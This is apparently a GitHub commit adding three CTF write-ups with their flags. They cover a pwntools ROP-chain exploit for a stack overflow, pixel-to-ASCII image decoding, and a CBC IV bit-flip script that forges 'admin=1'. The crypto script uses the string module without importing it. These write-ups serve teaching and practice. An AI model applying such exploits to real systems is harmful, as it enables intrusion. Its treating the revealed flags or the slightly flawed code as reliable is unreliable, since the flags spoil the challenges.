Skip to content

Commit 147e2fe

Browse files
committed
Add Final Trace
1 parent b4dc402 commit 147e2fe

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

47 files changed

+4104
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
---
2+
layout: writeup
3+
4+
title: Door's Mechanism
5+
difficulty: Medium
6+
points: 500
7+
categories: [Pwn]
8+
tags: []
9+
10+
flag: CYS{7h3_l45t_1nv0ca710n_ha5_b33n_5p0k3n_@789#!}
11+
---
12+
13+
# Door's Mechanism
14+
15+
> Author: Naresh
16+
- **Category**: Pwn
17+
18+
19+
## Challenge Description
20+
> Legends speak of a single spell that can unseal the ancient chamber. With one utterance, perform the invocation and witness what was meant to stay hidden.
21+
22+
## Solution
23+
24+
### Initial Analysis
25+
First, run `file` on the binary (`Last-Invocation`) to confirm it is a 64-bit ELF.
26+
```bash
27+
$ file Last-Invocation
28+
Last-Invocation: ELF 64-bit LSB executable, ...
29+
```
30+
31+
Next, run `checksec` to see what protections were enabled.
32+
33+
```bash
34+
$ checksec Last-Invocation
35+
[*] 'Last-Invocation'
36+
Arch: amd64-64-little
37+
RELRO: Partial RELRO
38+
Stack: No canary found
39+
NX: NX disabled
40+
PIE: No PIE (0x400000)
41+
RWX: Has RWX segments
42+
```
43+
>No PIE indicates that the function addresses will be static.
44+
45+
Running the binary and giving it a long string of 'A's causes a Segmentation fault, confirming the buffer overflow.
46+
47+
### Tools Used
48+
- pwntools: For building and sending the exploit payload.
49+
- gdb (with pwndbg): For finding the offset and function addresses.
50+
- Ghidra: For static analysis and decompilation.
51+
- ropper: For finding the ROP gadgets.
52+
- checksec: For checking binary protections.
53+
### Step-by-Step Solution
54+
#### Step 1: Finding the Vulnerability and Offset
55+
Open the binary in GDB (with pwndbg) and use a cyclic(100) pattern to find the exact offset to control the return address.
56+
```bash
57+
gdb-pwndbg> r
58+
...
59+
Speak the Invocation:
60+
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
61+
...
62+
Program received signal SIGSEGV, Segmentation fault.
63+
...
64+
gdb-pwndbg> cyclic -l daaaaaaa
65+
24
66+
```
67+
The offset to overwrite the return address is 24 bytes.
68+
#### Step 2: Planning the ROP Chain
69+
The goal is to return to the `unseal_chamber` function, which will print the flag. This function can be easily found by decompiling the binary in Ghidra or by using gdb.
70+
71+
To call it successfully, it requires two specific 64-bit integers as arguments:
72+
- `$rdi`(first argument) = `0xdeadc0dedeadc0de`
73+
- `$rsi` (second argument) = `0xc05c0377c05c0377`
74+
75+
Use `ropper` to find the necessary ROP gadgets:
76+
```bash
77+
$ ropper --file Last-Invocation --search "pop rdi; ret"
78+
...
79+
0x000000000040119a: pop rdi; ret;
80+
81+
$ ropper --file Last-Invocation --search "pop rsi; pop r15; ret"
82+
...
83+
0x000000000040119c: pop rsi; pop r15; ret;
84+
```
85+
Use `gdb` to find the function address.
86+
```bash
87+
gdb-pwndbg> p unseal_chamber
88+
$1 = (void (long, long)) 0x4011a3 <unseal_chamber>
89+
```
90+
The final ROP chain should look like this:
91+
- Padding: 24 bytes of junk (to fill the buffer)
92+
- Gadget 1: Address of `pop rdi; ret`
93+
- Argument 1: `0xdeadc0dedeadc0de`
94+
- Gadget 2: Address of `pop rsi; pop r15; ret`
95+
- Argument 2: `0xc05c0377c05c0377`
96+
- Argument 3: 8 bytes of junk (for pop r15)
97+
- Target: Address of `unseal_chamber`
98+
99+
#### Step 3: Final Exploit Script
100+
Write a final exploit script using pwntools to automate this process.
101+
```python
102+
from pwn import *
103+
104+
offset = 24
105+
pop_rdi = 0x000000000040119a
106+
pop_rsi_r15 = 0x000000000040119c
107+
param1 = 0xdeadc0dedeadc0de
108+
param2 = 0xc05c0377c05c0377
109+
unseal_chamber = 0x00000000004011a3
110+
111+
p = remote("target_host", PORT)
112+
113+
payload = b'A'*offset + p64(pop_rdi) + p64(param1) + p64(pop_rsi_r15) + p64(param2) + p64(0x00000000) + p64(unseal_chamber)
114+
115+
p.recvline()
116+
p.sendline(payload)
117+
p.interactive()
118+
```
119+
Running this script against the binary will call the function with the correct arguments and print the flag.
120+
121+
### Flag
122+
> CYS{7h3_l45t_1nv0ca710n_ha5_b33n_5p0k3n_@789#!}
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
---
2+
layout: writeup
3+
4+
title: Echo in Black & White
5+
difficulty: Medium
6+
points: 500
7+
categories: [Forensics]
8+
tags: []
9+
10+
flag: CYS{7H3_H1DD3N_L4Y3R}
11+
---
12+
13+
# Echo in Black & White
14+
15+
## Challenge Information
16+
- **Title**: Echo in Black & White
17+
- **Category**: Forensics
18+
- **Difficulty**: Easy–Medium
19+
20+
## Challenge Description
21+
What if complexity is just an illusion? Sometimes, the most ordinary patterns hold extraordinary secrets — if you learn to see them differently.
22+
The challenge is about observing the given image carefully — it may look random, but it hides a binary pattern where black represents 1 and white represents 0.
23+
Instead of overcomplicating it, try to read the pattern as bits, group them properly, and see what message it reveals.
24+
Sometimes, the simplest patterns lead you straight to the flag.
25+
26+
## Hint
27+
the grid is 16*10 bits
28+
## Solution
29+
30+
### Initial Analysis
31+
The challenge image looked like a small QR-like binary grid.
32+
Since the description mentioned interpreting colors as binary bits, the first idea was to treat each black pixel as **1** and each white pixel as **0**, then group them to extract ASCII text.
33+
34+
### Tools Used
35+
- **Python**
36+
- **Pillow (PIL)** – for reading and resizing the image
37+
- **NumPy** – for pixel manipulation
38+
39+
### Step-by-Step Solution
40+
41+
#### Step 1: Load and Convert the Image
42+
```python
43+
from PIL import Image
44+
import numpy as np
45+
46+
img = Image.open("download.png").convert("L")
47+
binary_img = (np.array(img) < 128).astype(np.uint8) # Black = 1, White = 0
48+
```
49+
This converts the image to grayscale, then thresholds it so that each pixel is either 1 or 0.
50+
51+
#### Step 2: Resize to Match the Hint Dimensions
52+
```python
53+
resized = np.array(Image.fromarray(binary_img * 255).resize((16, 10), Image.NEAREST))
54+
resized = (resized > 128).astype(np.uint8)
55+
```
56+
According to the challenge hint, the grid has **16 columns** and **10 rows**, so we resize it to that exact shape.
57+
58+
#### Step 3: Extract Binary and Convert to ASCII
59+
```python
60+
ascii_text = ""
61+
for row in resized:
62+
bits = "".join(map(str, row))
63+
byte1, byte2 = bits[:8], bits[8:]
64+
ascii_text += chr(int(byte1, 2)) + chr(int(byte2, 2))
65+
66+
print(ascii_text)
67+
```
68+
Each row gives **16 bits** (2 ASCII characters of 8 bits each).
69+
After converting the binary values to text, the decoded message appears as:
70+
71+
```
72+
CYS{7H3_H1DD3N_L4Y3R}
73+
```
74+
75+
### Flag
76+
```
77+
CYS{7H3_H1DD3N_L4Y3R}
78+
```
79+
80+
## Lessons Learned
81+
- Binary-encoded patterns in images can directly store ASCII text.
82+
- Always check for pixel-level hints in Forensics challenges.
83+
- Knowing how to manipulate images programmatically is very useful in CTFs.
84+
85+
## Resources
86+
- [Binary to ASCII Conversion Reference](https://www.rapidtables.com/convert/number/binary-to-ascii.html)
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
---
2+
layout: writeup
3+
4+
title: Do you know XOR well enough?
5+
difficulty: Medium
6+
points: 500
7+
categories: [General]
8+
tags: []
9+
10+
flag: Dynamic Flag
11+
---
12+
13+
# Do you know XOR well enough?
14+
15+
* Category: Cryptography
16+
* Author: P C Guhan
17+
18+
## Description
19+
20+
> Random numbers, AES encryption, SHA 256, HMAC, constant-time hash checking... what more do you want?
21+
> All are imported functions, hence highly secure
22+
> Or is it??
23+
24+
## Solution
25+
![AES CBC Encryption](image.png)
26+
![AES CBC Decryption](image-1.png)
27+
28+
This method uses the previous block to encrypt the next block. The same follows for decryption also. Hence, a bit flip will alter the plaintext.
29+
30+
Each hex requires two characters. The length of "admin=0" is 7.
31+
The hex output consists of the 16 bit IV and the 16 bit padded ciphertext. The IV is XOred with the decrypted ciphertext.
32+
33+
To get admin=1, we XOR the 6th character block with 1.
34+
i.e. IV[6] ^ decrypted(message[6]) ^ 1 = 0 ^ 1
35+
since 0 ^ 1 = 1,
36+
37+
IV[6] ^ decrypted(message[6]) ^ 1 = 1
38+
giving us admin=1
39+
40+
A corresponding hash can be generated as the hashing algorithm is open source.
41+
42+
To mitigate this vulnerability while still using AES CBC mode, AEAD (Authenticated Encryption and Additional Data) must be used i.e. hashing with a secret key.
43+
44+
## Script
45+
```python
46+
from Crypto.Cipher import AES
47+
from Crypto.Util.Padding import pad, unpad
48+
from Crypto.Random import get_random_bytes
49+
import hashlib
50+
import hmac
51+
import random
52+
53+
# --- setup (same as challenge) ---
54+
key = get_random_bytes(16)
55+
iv = get_random_bytes(16)
56+
57+
part1 = "AES"
58+
part2 = ''.join(random.choices(string.ascii_uppercase, k=5))
59+
part3 = "AEAD"
60+
part4 = f"{random.randint(0, 999999):06d}"
61+
part5 = ''.join(random.choices(string.ascii_uppercase, k=3))
62+
flag = "CYS{" + f"{part1}_{part2}_{part3}_{part4}_{part5}" + "}"
63+
64+
def encrypt_data(data):
65+
cipher = AES.new(key, AES.MODE_CBC, iv)
66+
enc = cipher.encrypt(pad(data.encode(), 16, style='pkcs7'))
67+
return enc.hex()
68+
69+
def decrypt_data(encryptedParams):
70+
data = bytes.fromhex(encryptedParams)
71+
if len(data) < 16:
72+
raise ValueError("Ciphertext too short")
73+
iv_in = data[:16]
74+
ciphertext = data[16:]
75+
cipher = AES.new(key, AES.MODE_CBC, iv_in)
76+
paddedParams = cipher.decrypt(ciphertext)
77+
plaintext = unpad(paddedParams, 16, style='pkcs7')
78+
return plaintext.decode(errors='ignore')
79+
80+
81+
print("Just copy and paste? Hash is also given...")
82+
msg = "admin=0"
83+
print("\nCurrent authentication message is : " + msg)
84+
print("Turn it to admin=1")
85+
86+
cipher_hex = encrypt_data(msg)
87+
iv_cipher = iv.hex() + cipher_hex
88+
print("\nEncryption of authentication message in hex : " + iv_cipher)
89+
90+
91+
hashed_value = hashlib.sha256(iv_cipher.encode('utf-8')).hexdigest()
92+
print("SHA-256: ", hashed_value)
93+
94+
# -----------------------------
95+
# Solution
96+
# Reliable CBC bit-flip to change admin=0 -> admin=1
97+
# -----------------------------
98+
orig_msg = "admin=0"
99+
target_msg = "admin=1"
100+
101+
p0 = pad(orig_msg.encode(), 16, style='pkcs7')[:16]
102+
p1 = pad(target_msg.encode(), 16, style='pkcs7')[:16]
103+
104+
delta = bytes(a ^ b for a, b in zip(p0, p1))
105+
106+
iv_prime = bytes(a ^ b for a, b in zip(iv, delta))
107+
108+
enc_msg = iv_prime.hex() + cipher_hex
109+
enc_hash = hashlib.sha256(enc_msg.encode('utf-8')).hexdigest()
110+
111+
112+
# --- setup (same as challenge) ---
113+
try:
114+
if hmac.compare_digest(hashlib.sha256(enc_msg.encode('utf-8')).hexdigest(), enc_hash):
115+
final_dec_msg = decrypt_data(enc_msg)
116+
print(final_dec_msg)
117+
118+
if "admin=1" == final_dec_msg:
119+
print(flag)
120+
else:
121+
print('\nTry again you can do it!!')
122+
else:
123+
print("\nHashing failed")
124+
print(hashlib.sha256(enc_msg.encode('utf-8')).hexdigest() + "\n\n")
125+
print(enc_hash)
126+
except Exception as e:
127+
print('\nbye bye!!', e)
128+
129+
```

0 commit comments

Comments
 (0)